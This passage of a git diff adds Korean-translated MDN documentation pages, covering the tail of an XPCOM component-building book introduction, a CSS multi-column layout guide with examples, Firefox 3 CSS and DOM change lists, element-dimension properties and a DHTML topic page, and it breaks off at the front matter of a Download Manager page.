+<p>The top of each chapter provides a list of the major topics covered. Sidebar sections are included to highlight technical details. By the end of the book, if we've done our job, you will have learned how to build a component and you will know something about the framework for these components in Gecko, which is XPCOM.</p>
+
+<h3 id="Who_Should_Read_This_Book" name="Who_Should_Read_This_Book">Who Should Read This Book</h3>
+
+<p><a href="ko/Creating_XPCOM_Components">Creating XPCOM Components</a> is meant for C++ developers. Though you can create XPCOM components in <a href="ko/JavaScript">JavaScript</a> and other languages, and though you might be able to follow along as a <a href="ko/C">C</a> programmer, the component implementation code is written in C++, and much of the discussion of how to make your code<em>into</em> an XPCOM component starts from C++. You don't need to be a C++ expert, however. Although basic ideas such as inheritance and encapsulation should be familar to you, wherever possible they are explained in the book as they are used. Also many of the examples are in JavaScript, which is used in Mozilla to access XPCOM components as scriptable objects, and so familiarity with that language is useful as well.</p>
+
+<p>XPCOM stands for the Cross Platform Component Object Model. As this name implies, XPCOM is similar to Microsoft COM. If you have any experience with this technology, much of it can be applied to XPCOM. However, this book does not assume any prior knowledge of COM - all of the basic COM ideas will be introduced.</p>
+
+<p>This book provides a tutorial about building an XPCOM component that controls browsing behavior. Although, XPCOM can be used in many environments which are unrelated to web browsing, XPCOM's main client is Gecko, an open source, standards compliant, embeddable web browser, where it's easiest and most practical to illustrate XPCOM's functionality. A full description of the component in this tutorial can be found in the <a href="ko/Creating_XPCOM_Components/Creating_the_Component_Code#What_We.27ll_Be_Working_On">What We'll Be Working On</a> section of the tutorial.</p>
+
+<h3 id="Organization_of_the_Tutorial" name="Organization_of_the_Tutorial">Organization of the Tutorial</h3>
+
+<p>The following list provides an overview of the steps that we will take to build an XPCOM component called <strong>WebLock</strong>, which provides site blocking functionality to Gecko-based browsers. Each one of these steps has its own chapter, in which a number of topics associated with the step are discussed.</p>
+
+<ul>
+ <li>Create the generic module code for the component.</li>
+ <li>Use C++ macros, special string classes and smart pointers to optimize your code.</li>
+ <li>Define the functionality for the component; create an <a href="ko/XPIDL">XPIDL</a> interface for that functionality; create the implementation code specific to the custom <strong>WebLock</strong> component interface.</li>
+ <li>Finish implementing the <strong>WebLock</strong> component: <code>nsIContentPolicy</code>, file I/O, locking, etc.</li>
+ <li>Creating the user interface for the WebLock component.</li>
+ <li>Packaging <strong>WebLock</strong> for distribution and installation.</li>
+</ul>
+
+<h3 id="Following_Along_with_the_Examples" name="Following_Along_with_the_Examples">Following Along with the Examples</h3>
+
+<p>There are a couple of different ways to get XPCOM onto your machine so you can begin to create components. If you already have a Mozilla build or the source from Mozilla 1.2 or later, then you can use the XPCOM framework available there. If you don't already have the Mozilla source, then an even easier way to get and use XPCOM is to download the Gecko SDK, which is a collection of libraries and tools that features the XPCOM component framework.</p>
+
+<p>Whether you compile your code in the Mozilla source tree or use the Gecko SDK, you can build your own components which leverage components that already exist in Gecko. The <strong>WebLock</strong> component we describe in this tutorial is a practical (and, we hope, genuinely useful) addition to the browser. In order to build it, your Gecko SDK or Mozilla source tree needs to be version 1.2 or later (XPCOM interfaces were not fully frozen in prior releases).</p>
+
+<p>This book assumes you are using the SDK rather than compiling in a Mozilla source tree, though the difference between these two approaches is minimal. Details about downloading the SDK, building, and getting programmatic access to Gecko components are provided in the appendix to this book, <a href="ko/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK">Setting up the Gecko SDK</a>.</p>
+
+<h3 id="Conventions" name="Conventions">Conventions</h3>
+
+<p>The formatting conventions listed below are used to designate specific types of information in the book and make things easier to scan. The goal is to use as few formats as possible, but to distinguish the various different types of information clearly.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Format</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><strong>bold</strong></td>
+   <td><strong>component names</strong> appear in bold in the text</td>
+  </tr>
+  <tr>
+   <td><code>monospace</code></td>
+   <td><code>code listings</code>, <code>interface names</code> and <code>members</code> of interfaces (e.g., <code>createInstance()</code>) appear in monospaced font. Lines of code are placed in separate boxes. Additionally, <code>filenames</code> and <code>directories</code> appear in monospaced font.</td>
+  </tr>
+  <tr>
+   <td><em>italic</em></td>
+   <td><em>variables</em>appear in italic. Important terms and new concepts are also italicized the first time they appear in the text. Those terms are either explained immediately after they are cited, or else the reader is referred to a section in the book where they are described in detail.</td>
+  </tr>
+  <tr>
+   <td>link</td>
+   <td>References to other sections and to figures and tables are links to those sections.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Acknowledgements" name="Acknowledgements">Acknowledgements</h3>
+
+<p>Thanks to Peter Lubczynski, John Gaunt, Ellen Evans, and Alec Flett for technical reviews. A special thanks goes to Darin Fisher for his very acute observations, close reading, and attention to detail.</p>
+
+<p></p><div class="licenseblock">
+<p>Copyright (c) 2003 by Doug Turner and Ian Oeschger. This material may be distributed only subject to the terms and conditions set forth in the <a class="external" href="http://www.opencontent.org/openpub/" rel="noopener">Open Publication License</a>, v1.02 or later. Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.</p>
+</div><p></p>
diff --git a/files/ko/css3_columns/index.html b/files/ko/css3_columns/index.html
new file mode 100644
index 0000000000..47d363969c
--- /dev/null
+++ b/files/ko/css3_columns/index.html
@@ -0,0 +1,204 @@
+---
+title: CSS 다단 레이아웃 사용
+slug: CSS3_Columns
+tags:
+  - Advanced
+  - CSS
+  - Guide
+  - Multi-columns
+translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts
+---
+<p>{{CSSRef("CSS Multi-columns")}}</p>
+
+<p><span class="seoSummary"><strong>CSS 다단(multi-column) 레이아웃</strong>은 다단 텍스트 정의가 쉽도록 <em>블록 레이아웃 모드</em>를 확장합니다.</span> 사람들은 줄이 너무 긴 경우 텍스트 읽는데 어려움이 있습니다; 한 줄 끝에서 다음 줄 시작까지 눈에 옮기기 너무 긴 경우, 어느 줄을 읽고 있었는 지를 잊어버립니다. 그러므로, 큰 화면을 최대로 쓰기 위해서는, 너비가 제한된 텍스트 단을 나란히 놓아야 합니다, 바로 신문이 하는 것처럼.</p>
+
+<p>불행하게도 이는 CSS 및 HTML로 하기는 고정 위치에서 강제 단 바꿈 또는 텍스트에 허용되는 마크업의 심한 제한 혹은 위대한(heroic) 스크립팅 사용 없이는 불가능합니다. 이 제한은 전통 블록 레이아웃 모드를 확장하는 새로운 CSS 속성 추가로 해결됐습니다.</p>
+
+<h2 id="단_사용">단 사용</h2>
+
+<h3 id="단_수와_너비">단 수와 너비</h3>
+
+<p>두 CSS 속성은 많은 단을 보일 지 여부와 방법을 제어합니다: {{ Cssxref("column-count") }} 및 {{ Cssxref("column-width") }}.</p>
+
+<p><code>column-count</code> 속성은 단 수를 특정한 수로 설정합니다. 가령,</p>
+
+<h2 id="예_1">예 1</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="column_count">
+<pre class="brush: html">&lt;div id="col"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#col {
+-moz-column-count: 2;
+-webkit-column-count: 2;
+column-count: 2;
+}
+</pre>
+</div>
+
+<h3 id="결과">결과</h3>
+
+<p>두 단에 콘텐츠를 표시합니다 (다단 준수 브라우저를 사용 중인 경우):</p>
+
+<p>{{EmbedLiveSample('column_count','700px', '', '')}}</p>
+
+<p><code>column-width</code> 속성은 희망 최소 단 너비를 설정합니다. <code>column-count</code>도 설정되지 않은 경우, 그러면 브라우저는 자동으로 이용 가능한 너비에 맞게 많은 단을 만듭니다.</p>
+
+<h2 id="예_2">예 2</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<div id="column_width">
+<pre class="brush: html">&lt;div id="wid"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_2">CSS</h3>
+
+<pre class="brush: css">#wid {
+-moz-column-width: 100px;
+-webkit-column-width: 100px;
+column-width: 100px;
+}
+</pre>
+</div>
+
+<h3 id="결과_2">결과</h3>
+
+<p>{{ EmbedLiveSample('column_width','700px', '', '') }}</p>
+
+<p>정확한 세부사항은 <a class="external" href="http://www.w3.org/TR/css3-multicol/">CSS3 스펙</a>에 설명되어 있습니다.</p>
+
+<p>다단 블록에서, 콘텐츠는 필요에 따라 한 단에서 다음 단으로 자동으로 흐릅니다. 모든 HTML, CSS 및 DOM 기능은 단 내에서 지원됩니다, 편집 및 인쇄 중일 때.</p>
+
+<h3 id="columns_단축"><code>columns</code> 단축</h3>
+
+<p>대부분, 웹 디자이너는 두 CSS 속성({{ cssxref("column-count") }} 또는 {{ cssxref("column-width") }}) 중 하나를 사용합니다. 이러한 속성에 대한 값이 겹치지 않기에, 종종 {{ cssxref("columns") }} 단축을 쓰는 게 편리합니다. 가령.</p>
+
+<p><code>column-width:12em</code> CSS 선언은 다음으로 대체될 수 있습니다:</p>
+
+<h2 id="예_3">예 3</h2>
+
+<h3 id="HTML_3">HTML</h3>
+
+<div id="column_short">
+<pre class="brush: html">&lt;div id="col_short"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_3">CSS</h3>
+
+<pre class="brush: css">#col_short {
+-moz-column-width: 12em;
+-moz-columns: 12em;
+-webkit-columns: 12em;
+columns: 12em;
+}
+</pre>
+</div>
+
+<h3 id="결과_3">결과</h3>
+
+<p>{{EmbedLiveSample('column_short','700px', '', '')}}</p>
+
+<p><code>column-count:4</code> CSS 선언은 다음으로 대체될 수 있습니다:</p>
+
+<h2 id="예_4">예 4</h2>
+
+<h3 id="HTML_4">HTML</h3>
+
+<div id="four_columns">
+<pre class="brush: html">&lt;div id="columns_4"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_4">CSS</h3>
+
+<pre class="brush: css">#columns_4{
+-moz-column-count: 4;
+-moz-columns: 4;
+-webkit-columns: 4;
+columns: 4;
+}
+</pre>
+</div>
+
+<h3 id="결과_4">결과</h3>
+
+<p>{{ EmbedLiveSample('four_columns','700px', '', '') }}</p>
+
+<p><code>column-width:8em</code> 및 <code>column-count:12</code> 두 CSS 선언은 다음으로 대체될 수 있습니다:</p>
+
+<h2 id="예_5">예 5</h2>
+
+<h3 id="HTML_5">HTML</h3>
+
+<div id="twelve_columns">
+<pre class="brush: html">&lt;div id="columns_12"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_5">CSS</h3>
+
+<pre class="brush: css">#columns_12 {
+-moz-columns: 12 8em;
+-webkit-columns: 12 8em;
+columns: 12 8em;
+}
+</pre>
+</div>
+
+<h3 id="결과_5">결과</h3>
+
+<p>{{ EmbedLiveSample('twelve_columns','700px', '', '') }}</p>
+
+<h3 id="높이_균형">높이 균형</h3>
+
+<p>CSS3 Column 스펙은 단 높이는 균형을 이루어야 함을 요구합니다: 즉, 브라우저는 각 단의 콘텐츠 높이가 거의 같도록 자동으로 최대 단 높이를 설정합니다. Firefox는 이를 행합니다.</p>
+
+<p>그러나, 일부 상황에서는 최대 단 높이를 명시해서 설정하는 것도 유용하고 그 다음 첫 단에서 시작하여 필요한 만큼 많은 단을 생성하며, 어쩌면 오른쪽으로 넘치는 콘텐츠를 배치합니다. 따라서, 높이가 제한되는 경우, 다단 블록에 CSS {{ cssxref("height") }} 또는 {{ cssxref("max-height") }} 속성을 설정하여, 각 단은 그 높이 및 더 이상 새로운 단을 추가하기 전까지 늘 수 있습니다. 이 모드 역시 레이아웃에 대해서 훨씬 더 효율이 좋습니다.</p>
+
+<h3 id="단_간격">단 간격</h3>
+
+<p>단 사이 간격이 있습니다. 기본 권장값은 <code>1em</code>입니다. 이 크기는 {{ Cssxref("column-gap") }} 속성을 다단 블록에 적용하여 바꿀 수 있습니다:</p>
+
+<h2 id="예_6">예 6</h2>
+
+<h3 id="HTML_6">HTML</h3>
+
+<div id="col_gap">
+<pre class="brush: html">&lt;div id="column_gap"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_6">CSS</h3>
+
+<pre class="brush: css">#column_gap {
+-webkit-column-count: 5;
+-moz-column-count: 5;
+column-count: 5;
+-moz-column-gap: 2em;
+-webkit-column-gap: 2em;
+column-gap: 2em;
+}
+</pre>
+</div>
+
+<h3 id="결과_6">결과</h3>
+
+<p>{{ EmbedLiveSample('col_gap','700px', '', '') }}</p>
+
+<h2 id="우아한_강등">우아한 강등</h2>
+
+<p>단 속성은 단을 지원하지 않는 브라우저에 의해 그냥 무시됩니다. 따라서 비지원 브라우저에서는 1단으로 표시하고 지원하는 브라우저에서는 다단을 사용하는 레이아웃을 만드는 게 그런 대로 쉽습니다.</p>
+
+<p>모든 브라우저가 이러한 접두어 없는 속성을 지원하는 것은 아님을 주의하세요. 오늘날 대부분의 브라우저에서 이 기능을 사용하기 위해서, 각 속성은 세 번({{ property_prefix("-moz") }} 접두어로 한 번, {{ property_prefix("-webkit") }} 접두어로 한 번 그리고 접두어 없이 한 번) 작성되어야 합니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>CSS3 단(column)은 웹 개발자가 화면 영역(real estate)을 최대한 쓸 수 있게 돕는 원시(primitive) 레이아웃입니다. 상상력이 풍부한 개발자는 많은 단 사용법을 찾을 지도 모릅니다, 특히 자동 높이 균형 기능 가지고.</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a class="external" href="http://weblogs.mozillazine.org/roc/archives/2005/03/gecko_18_for_we.html" rel="freelink">http://weblogs.mozillazine.org/roc/a...18_for_we.html</a></li>
+</ul>
diff --git a/files/ko/css_improvements_in_firefox_3/index.html b/files/ko/css_improvements_in_firefox_3/index.html
new file mode 100644
index 0000000000..30c7400ae4
--- /dev/null
+++ b/files/ko/css_improvements_in_firefox_3/index.html
@@ -0,0 +1,35 @@
+---
+title: CSS improvements in Firefox 3
+slug: CSS_improvements_in_Firefox_3
+tags:
+  - CSS
+  - Firefox 3
+translation_of: Mozilla/Firefox/releases/3/CSS_improvements
+---
+<p>{{ Fx_minversion_header(3) }}</p>
+<p>Firefox 3에서는 CSS 구현에 있어 수 많은 향상을 제공합니다. 이러한 변화들의 상세 내용은 해당 문서에 문서화되어 있으므로, 여기서는 이러한 내용들에 대해 개략적으로 언급하고 어떤 변화가 있는지 개발자들이 쉽게 배울 수 있도록 하겠습니다.</p>
+<ul>
+ <li>{{ Cssxref("display") }} 프로퍼티의 <code>inline-block</code>과 <code>inline-table</code> 값이 구현되었습니다.</li>
+ <li>모든 플랫폼에서 {{ Cssxref("font-size-adjust") }} 프로퍼티가 동작합니다. 이전에는 Windows에서만 지원되었습니다.</li>
+ <li>{{ Cssxref("color") }}의 값으로 <code>rgba()</code>와 <code>hsla()</code>를 사용할 수 있습니다. ({{ Bug(147017) }})</li>
+ <li>{{ Cssxref(":default") }} 의사 클래스를 지원합니다. ({{ Bug(302186) }})</li>
+ <li>{{ Cssxref("width") }}, {{ Cssxref("min-width") }}, {{ Cssxref("max-width") }} 프로퍼티의 값으로 <code>-moz-max-content</code>, <code>-moz-min-content</code>, <code>-moz-fit-content</code>, <code>-moz-available</code> 들을 사용할 수 있습니다. ({{ Bug(311415) }}와 {{ Bug(402706) }})</li>
+ <li>HTML soft hyphens (<code>&amp;shy;</code>)이 지원됩니다.</li>
+ <li>Pre-formatted 탭이 가변글꼴에서 CSS 2.1 스펙에 따라 더 잘 동작합니다.</li>
+ <li>{{ Cssxref("ime-mode") }} 프로퍼티가 지원됩니다.</li>
+ <li>CSS <code>text-rendering</code> 프로퍼티가 지원됩니다. ({{ Bug(387969) }})</li>
+ <li><code>-moz-border-<var>*</var>-start</code>와 <code>-moz-border-<var>*</var>-end</code> CSS 프로터피가 구현되었습니다 ({{ Bug(74880) }}).</li>
+ <li><code>-moz-initial</code>이 대부분의 CSS 프로퍼티에 구현되었습니다. (<code>quotes</code>와 <code>-moz-border-<var>*</var>-colors</code> 제외) {{ Bug(80887) }}.</li>
+ <li>모든 CSS 프로퍼티에 대해 <code>window.getComputedStyle()</code>을 지원합니다 ({{ Bug(316981) }}).</li>
+ <li>{{ Cssxref("content") }}에 <code>none</code> 값을 사용할 수 있습니다 ({{ Bug(378535) }}).</li>
+ <li>{{ Cssxref("cursor") }}에 <code>none</code> 값을 사용할 수 있습니다 ({{ Bug(346690) }}).</li>
+ <li>배경 이미지를 <code>-moz-border-radius</code>로 정확히 자를(clip) 수 있습니다 ({{ Bug(24998) }}).</li>
+ <li>{{ Cssxref("white-space") }}의 <code>pre-wrap</code> 값을 지원합니다 ({{ Bug(261081) }}).</li>
+ <li>{{cssxref(":first-child")}}, {{cssxref(":only-child")}}, {{cssxref(":last-child")}} ({{ Bug(73586) }}), {{cssxref(":empty")}} ({{ Bug(98997) }}) 등의 선택자(selector)와 + 조합(combinator) ({{ Bug(229915) }})이 동적으로 업데이트됩니다 ({{ Bug(401291) }}).</li>
+ <li>{{ Cssxref("z-index") }}의 음수값을 정확히 지원합니다.</li>
+</ul>
+<h3 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h3>
+<ul>
+ <li><a href="ko/Firefox_3_for_developers">Firefox 3 for developers</a></li>
+ <li><a href="ko/DOM_improvements_in_Firefox_3">DOM improvements in Firefox 3</a></li>
+</ul>
diff --git a/files/ko/determining_the_dimensions_of_elements/index.html b/files/ko/determining_the_dimensions_of_elements/index.html
new file mode 100644
index 0000000000..c9bb8b32ba
--- /dev/null
+++ b/files/ko/determining_the_dimensions_of_elements/index.html
@@ -0,0 +1,28 @@
+---
+title: Determining the dimensions of elements
+slug: Determining_the_dimensions_of_elements
+translation_of: Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements
+---
+<p>엘리먼트의 너비와 높이를 알기 위해 살펴볼 수 있는 여러 속성이 있습니다. 또한, 요구하는 사항에 딱 맞는 것을 고르기 다소 까다로울 수도 있습니다. 이 글은 여러분이 필요에 맞는 속성을 고르는데 도움을 주기 위해 작성했습니다.</p>
+
+<h3 id="How_much_room_does_it_use_up.3F" name="How_much_room_does_it_use_up.3F">공간을 얼마나 차지하나요?</h3>
+
+<p>표시된 컨텐트의 너비, 스크롤바, 패딩까지 포함해서 엘리먼트가 차지하는 전체 공간을 알고 싶다면, <code><a href="/en/DOM/element.offsetWidth" title="en/DOM/element.offsetWidth">offsetWidth</a></code>와 <code><a href="/en/DOM/element.offsetHeight" title="en/DOM/element.offsetHeight">offsetHeight</a> 속성을 사용하세요:</code></p>
+
+<p><img alt="Image:Dimensions-offset.png" class="internal" src="/@api/deki/files/186/=Dimensions-offset.png"></p>
+
+<h3 id="What.27s_the_size_of_the_displayed_content.3F" name="What.27s_the_size_of_the_displayed_content.3F">보이는 컨텐트의 크기는요?</h3>
+
+<p>패딩은 포함하되 경계선, 여백, 스크롤바는 포함시키지 않고 보이는 컨텐트가 실제로 차지하는 공간이 알고 싶다면, <code><a href="/en/DOM/element.clientWidth" title="en/DOM/element.clientWidth">clientWidth</a></code>와 <code><a href="/en/DOM/element.clientHeight" title="en/DOM/element.clientHeight">clientHeight</a></code> 속성을 사용하세요:</p>
+
+<p><img alt="Image:Dimensions-client.png" class="internal" src="/@api/deki/files/185/=Dimensions-client.png"></p>
+
+<h3 id="How_big_is_the_content.3F" name="How_big_is_the_content.3F">컨텐트는 얼마나 크나요?</h3>
+
+<p>컨텐트의 실제 크기를 알고 싶다면(보여지는 부분만이 아닌 전체 컨텐트 크기), <code><a href="/en/DOM/element.scrollWidth" title="en/DOM/element.scrollWidth">scrollWidth</a></code>와 <code><a href="/en/DOM/element.scrollHeight" title="en/DOM/element.scrollHeight">scrollHeight</a></code> 속성을 사용하세요. 이 속성들은 엘리먼트 컨텐트의 전체 크기에 해당하는 너비와 높이를 반환합니다. 보여지는 영역이 작아서 스크롤바를 사용하고 있다해도 관계없습니다.</p>
+
+<p>예를 들어, 600x400 픽셀 크기의 엘리먼트가 300x300 픽셀의 스크롤박스에서 보여진다면 <code>scrollWidth</code>는 600을, <code>scrollHeight</code>는 400을 각각 반환합니다.</p>
+
+<h3 id="References" name="References">참고자료</h3>
+
+<p><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN: Measuring Element Dimension and Location</a></p>
diff --git a/files/ko/dhtml/index.html b/files/ko/dhtml/index.html
new file mode 100644
index 0000000000..1eada4d952
--- /dev/null
+++ b/files/ko/dhtml/index.html
@@ -0,0 +1,42 @@
+---
+title: DHTML
+slug: DHTML
+tags:
+  - DHTML
+translation_of: Glossary/DHTML
+---
+<div><b>DHTML은 "dynamic HTML"</b>을 줄인 것이다. DHTML은 일반적으로 Flash나Java 플러그인을 사용하여 다루어지지 않는 역동적 웹페이지 뒤의 코드를 참조하는데 사용된다. 복합 기능성을 모은 용어는 웹 개발자가 <a href="ko/HTML">HTML</a>, <a href="ko/CSS">CSS</a>, <a href="ko/DOM">Document Object Model</a>, 그리고 <a href="ko/JavaScript">JavaScript</a>를 사용하는 것을 가능하게 한다.</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentation" name="Documentation"> <a>Documentation</a> </h4>
+<dl><dt> <a href="ko/DOM_Client_Object_Cross-Reference">DOM Client Object Cross-Reference</a>
+</dt><dd> <small>이 client object reference는 DHTML에 사용하는 공통된 대상에 대한 정보를 제공한며, 각 브라우저 안에서 어떤 특성이 제공 되는지 당신이 결정하는 것을 돕기로 계획되었다 .</small>
+</dd></dl>
+<dl><dt> <a href="ko/DHTML_Demonstrations_Using_DOM%2f%2fStyle">DHTML Demonstrations Using DOM/Style</a>
+</dt><dd> <small>Document Object Model (DOM) 데모, Cross-browser 위젯, DOM에 관해 배우기 위한 추가적 자원.</small>
+</dd></dl>
+<dl><dt> <a href="ko/Working_around_the_Firefox_1.0.3_DHTML_regression">Working around the Firefox 1.0.3 DHTML regression</a>
+</dt><dd> <small>주의. 이 글이 다루고 있는 이 주제는 Firefox 1.0.4 release에서 고쳐졌고, 이 문서는 1.0.3 version의 브라우저에에 적용됨.</small>
+</dd></dl>
+<p><span class="alllinks"><a>View All...</a></span>
+</p>
+</td>
+<td>
+<h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0"> 커뮤니티 </h4>
+<ul><li> Mozilla 포럼 보기...
+</li></ul>
+<p>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}
+</p>
+<h4 id=".EB.8F.84.EA.B5.AC" name=".EB.8F.84.EA.B5.AC"> 도구 </h4>
+<ul><li> <a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=1843&amp;application=firefox">Firebug Firefox extension</a>
+</li></ul>
+<h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C"> 관련 주제 </h4>
+<dl><dd> <a href="ko/AJAX">AJAX</a>, <a href="ko/CSS">CSS</a>, <a href="ko/DOM">DOM</a>, <a href="ko/HTML">HTML</a>, <a href="ko/JavaScript">JavaScript</a>
+</dd></dl>
+</td>
+</tr>
+</tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/DHTML", "pt": "pt/DHTML", "pl": "pl/DHTML" } ) }}
diff --git a/files/ko/dom_improvements_in_firefox_3/index.html b/files/ko/dom_improvements_in_firefox_3/index.html
new file mode 100644
index 0000000000..800e5979df
--- /dev/null
+++ b/files/ko/dom_improvements_in_firefox_3/index.html
@@ -0,0 +1,30 @@
+---
+title: DOM improvements in Firefox 3
+slug: DOM_improvements_in_Firefox_3
+tags:
+  - DOM
+  - Firefox 3
+translation_of: Mozilla/Firefox/Releases/3/DOM_improvements
+---
+<p>{{ Fx_minversion_header(3) }}</p>
+<p>Firefox 3에서는 <a href="ko/DOM">Document Object Model</a> (DOM)에 있어 다양한 개선이 있었으며, 특히 다른 브라우저들에서 제공되는 DOM의 확장을 지원한다는 면에서 특히 그러합니다. 본 글은 이러한 개선 사항들과 세부 문서에 대한 링크들로 구성되어 있습니다.</p>
+<ul>
+ <li>Internet Explore의 <code><a href="ko/DOM/element.clientTop">clientTop</a></code>과 <code><a href="ko/DOM/element.clientLeft">clientLeft</a></code> DOM 확장을 지원합니다.</li>
+ <li><code><a href="ko/DOM/window.fullScreen">window.fullScreen</a></code> 프로터티를 어디서 사용하든(컨텐츠에서도 가능) 항상 정확한 값을 반환합니다. 이전에는 부정확한 <code>false</code>값을 반환하기도 했었습니다({{ Bug(127013) }}).</li>
+ <li><code><a href="ko/DOM/element.getClientRects">getClientRects</a></code>와 <code><a href="ko/DOM/element.getBoundingClientRect">getBoundingClientRect</a></code> DOM 확장을 지원합니다({{ Bug(174397) }}).</li>
+ <li>Internet Explorer의 <code><a href="ko/DOM/document.elementFromPoint">elementFromPoint</a></code> DOM 확장을 지원합니다 ({{ Bug(199692) }}).</li>
+ <li>Internet Explorer의 <code><a href="ko/DOM/element.oncut">oncut</a></code>, <code><a href="ko/DOM/element.oncopy">oncopy</a></code>, <code><a href="ko/DOM/element.onpaste">onpaste</a></code> DOM 확장을 지원합니다 ({{ Bug(280959) }}).</li>
+ <li>Added privileged-code-only getters for <code>Node.nodePrincipal</code>, <code>Node.baseURIObject</code>, and <code><a href="ko/DOM/document.documentURIObject">document.documentURIObject</a></code>. Chrome code must not touch (get or set) these properties on an unwrapped content object (e.g. on a <code>wrappedJSObject</code> of an <code><a href="ko/XPCNativeWrapper">XPCNativeWrapper</a></code>), see {{ Bug(324464) }} for details.</li>
+ <li>Web Applications 1.0 (HTML5)의 <code><a href="ko/DOM/document.getElementsByClassName">getElementsByClassName()</a></code> DOM 메소드를 지원합니다.</li>
+ <li>The Web Applications 1.0 (HTML5)의 <code><a href="ko/DOM/window.postMessage">window.postMessage</a></code> DOM 메소드를 지원합니다. This method allows a limited, opt-in form of client-side communication between windows not necessarily on the same domain.</li>
+ <li>단축(acclerator) 키가 눌러진 경우 <code>keypress</code> 이벤트에서의 <code>charCode</code>값이 ASCII 문자로 변경되었습니다. 그 밖의 경우에서의 <code>charCode</code> 값은 변경되지 않은 문자(<kbd>Shift</kbd> 상태를 제외하고)입니다. <a href="ko/Gecko_Keypress_Event">Gecko Keypress Event</a>를 참조하세요.</li>
+</ul>
+<h3 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h3>
+<ul>
+ <li><a href="ko/Firefox_3_for_developers">Firefox 3 for developers</a></li>
+ <li><a href="ko/CSS_improvements_in_Firefox_3">CSS improvements in Firefox 3</a></li>
+ <li><a href="ko/DOM">DOM</a></li>
+</ul>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM_improvements_in_Firefox_3", "es": "es/Mejoras_DOM_en_Firefox_3", "fr": "fr/Am\u00e9liorations_DOM_dans_Firefox_3", "ja": "ja/DOM_improvements_in_Firefox_3", "pl": "pl/Poprawki_DOM_w_Firefoksie_3" } ) }}</p>
diff --git a/files/ko/download_manager_improvements_in_firefox_3/index.html b/files/ko/download_manager_improvements_in_firefox_3/index.html
new file mode 100644
index 0000000000..c7929798bf
--- /dev/null
+++ b/files/ko/download_manager_improvements_in_firefox_3/index.html
@@ -0,0 +1,39 @@
+---
+title: Download Manager improvements in Firefox 3
+slug: Download_Manager_improvements_in_Firefox_3
+tags:
+  - Download Manager
+  - Firefox 3
